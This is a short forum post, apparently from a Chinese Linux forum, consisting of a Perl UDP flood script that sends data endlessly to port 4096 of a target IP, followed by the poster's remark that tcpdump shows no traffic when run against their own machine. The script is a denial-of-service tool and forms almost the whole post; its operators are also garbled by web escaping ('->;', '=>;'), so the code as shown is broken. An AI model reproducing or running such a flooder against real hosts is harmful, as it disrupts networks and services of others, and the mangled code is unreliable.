- 论坛徽章:
- 0
|
- #!/usr/bin/perl
-
- use IO::Socket::INET;
-
- sub gotint{
- print "\n\n$countz packetz sent\n";
- exit 1;
- }
- $SIG{INT} = \& gotint;
-
- print "UDP flood for xxx\n\n";
- $|++;
- if ($#ARGV < 0){
- print "usage $0 target_ip\n";
- exit 1;
- }
- my $host = $ARGV[0];
- my $data = 'my xxx data';
- my $sock=IO::Socket::INET->;new(
- PeerAddr=>;$host,
- PeerPort=>;'4096',
- Proto =>;'udp'
- );
- die "socket error" unless $sock;
- print "Socket OK!\n\n";
- print "Flooooooooooooooooooooooding.........press Ctrl^c to quit\n\n\n";
- my $count = 0;
- $countz=0;
- while (1){
- print $sock "$data\n";
- $sock->;autoflush;
- $count++;$countz++;
- if ($count>;500){
- $count-=500;
- print "\b=>;";
- }
- }
-
复制代码
run it on my box and against my box,
but Tcpdump show nothing ! |
|